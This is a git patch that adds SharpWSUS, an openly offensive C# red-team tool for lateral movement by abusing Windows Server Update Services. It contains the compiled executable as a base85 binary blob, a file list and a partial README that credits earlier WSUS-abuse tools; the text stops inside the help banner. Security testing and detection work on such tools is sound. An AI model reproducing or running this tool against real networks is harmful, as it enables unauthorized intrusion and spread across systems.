From 966f4297c107a6c6914abd524eff42f6bd5c774e Mon Sep 17 00:00:00 2001 From: cmahrl Date: Fri, 10 May 2024 11:24:39 -0700 Subject: [PATCH] nettitude/SharpWSUS@53b1a71754ef44118b3756dd9ff9b68fadd97fae --- bin/SharpWSUS.exe | Bin 0 -> 50688 bytes repos/SharpWSUS/.gitignore | 8 + repos/SharpWSUS/README.md | 65 +++++ repos/SharpWSUS/SharpWSUS.sln | 25 ++ .../SharpWSUS/Args/ArgumentParser.cs | 43 +++ .../SharpWSUS/Args/ArgumentParserResult.cs | 23 ++ .../SharpWSUS/Args/CommandCollection.cs | 49 ++++ repos/SharpWSUS/SharpWSUS/Args/Info.cs | 55 ++++ repos/SharpWSUS/SharpWSUS/Commands/Approve.cs | 81 ++++++ repos/SharpWSUS/SharpWSUS/Commands/Check.cs | 46 ++++ repos/SharpWSUS/SharpWSUS/Commands/Create.cs | 128 +++++++++ repos/SharpWSUS/SharpWSUS/Commands/Delete.cs | 81 ++++++ .../SharpWSUS/SharpWSUS/Commands/ICommand.cs | 9 + repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs | 31 +++ repos/SharpWSUS/SharpWSUS/Commands/Locate.cs | 21 ++ repos/SharpWSUS/SharpWSUS/Program.cs | 47 ++++ .../SharpWSUS/Properties/AssemblyInfo.cs | 36 +++ repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj | 74 ++++++ repos/SharpWSUS/SharpWSUS/app.config | 3 + repos/SharpWSUS/SharpWSUS/lib/Build.cs | 245 ++++++++++++++++++ repos/SharpWSUS/SharpWSUS/lib/ClFile.cs | 63 +++++ repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs | 30 +++ repos/SharpWSUS/SharpWSUS/lib/Connect.cs | 39 +++ repos/SharpWSUS/SharpWSUS/lib/Enum.cs | 135 ++++++++++ repos/SharpWSUS/SharpWSUS/lib/Group.cs | 178 +++++++++++++ repos/SharpWSUS/SharpWSUS/lib/Reg.cs | 86 ++++++ repos/SharpWSUS/SharpWSUS/lib/Server.cs | 140 ++++++++++ repos/SharpWSUS/SharpWSUS/lib/Status.cs | 150 +++++++++++ 28 files changed, 1891 insertions(+) create mode 100644 bin/SharpWSUS.exe create mode 100644 repos/SharpWSUS/.gitignore create mode 100644 repos/SharpWSUS/README.md create mode 100644 repos/SharpWSUS/SharpWSUS.sln create mode 100644 repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Args/Info.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Approve.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Check.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Create.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Delete.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Commands/Locate.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Program.cs create mode 100644 repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs create mode 100644 repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj create mode 100644 repos/SharpWSUS/SharpWSUS/app.config create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Build.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/ClFile.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Connect.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Enum.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Group.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Reg.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Server.cs create mode 100644 repos/SharpWSUS/SharpWSUS/lib/Status.cs diff --git a/bin/SharpWSUS.exe b/bin/SharpWSUS.exe new file mode 100644 index 0000000000000000000000000000000000000000..f7bb63381e398d643a25a3d5c6e00cd6234b078e GIT binary patch literal 50688 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 literal 0 HcmV?d00001 diff --git a/repos/SharpWSUS/.gitignore b/repos/SharpWSUS/.gitignore new file mode 100644 index 000000000..b1c227559 --- /dev/null +++ b/repos/SharpWSUS/.gitignore @@ -0,0 +1,8 @@ +.vs +*.user +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ +.DS_Store + diff --git a/repos/SharpWSUS/README.md b/repos/SharpWSUS/README.md new file mode 100644 index 000000000..d0dc42ea3 --- /dev/null +++ b/repos/SharpWSUS/README.md @@ -0,0 +1,65 @@ +# SharpWSUS + +SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection. + +## Credits + +Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility. + +* https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS +* https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS + +## Help Menu + +``` + ____ _ __ ______ _ _ ____ +/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | 